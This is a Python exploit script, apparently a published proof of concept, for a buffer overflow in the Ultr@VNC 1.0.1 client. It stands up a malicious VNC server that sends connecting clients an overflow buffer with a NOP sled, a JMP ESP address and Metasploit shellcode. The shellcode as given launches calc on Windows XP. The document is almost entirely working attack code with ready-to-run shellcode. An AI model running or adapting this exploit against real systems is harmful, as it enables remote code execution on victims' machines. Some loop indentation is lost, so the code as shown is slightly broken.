Ultr@VNC <= 1.0.1 client Log::ReallyPrint Buffer Overflow Exploit
#!/usr/bin/python
#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct
HOST = '' # Localhost
PORT = 5900 # VNC Server
BOFSZ = 1024 # Buffer Size
HEAD = 'RFB 003.006\n' # VNC Header
MESSAGE = 'Requires Ultr@VNC Authentication\n'
NOP = '\x90' # Standard x86 NOP
JMP = '\xE9\x1B\xFC\xFF\xFF' # JMP To BUFF
ESP = '\xE0\x3A\xB4\x76' # winmm.dll: JMP %esp
POP = 'PASSWORD' # RET 8
# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = '\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1'+'\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c'+'\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90'+'\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4'+'\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf'+'\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd'+'\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52'+'\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1'+'\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd'+'\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9'
#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP
#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack('LL',socket.htonl(0),socket.htonl(len(buff)))+buff
print 'Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma'
print 'POC by Paul Haas at Redspin.com'
print 'Server listening on port', PORT
#Server Loop
while(1):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
print 'Connection by', addr
conn.send(HEAD)
data = conn.recv(12)
conn.send(egg)
conn.close()
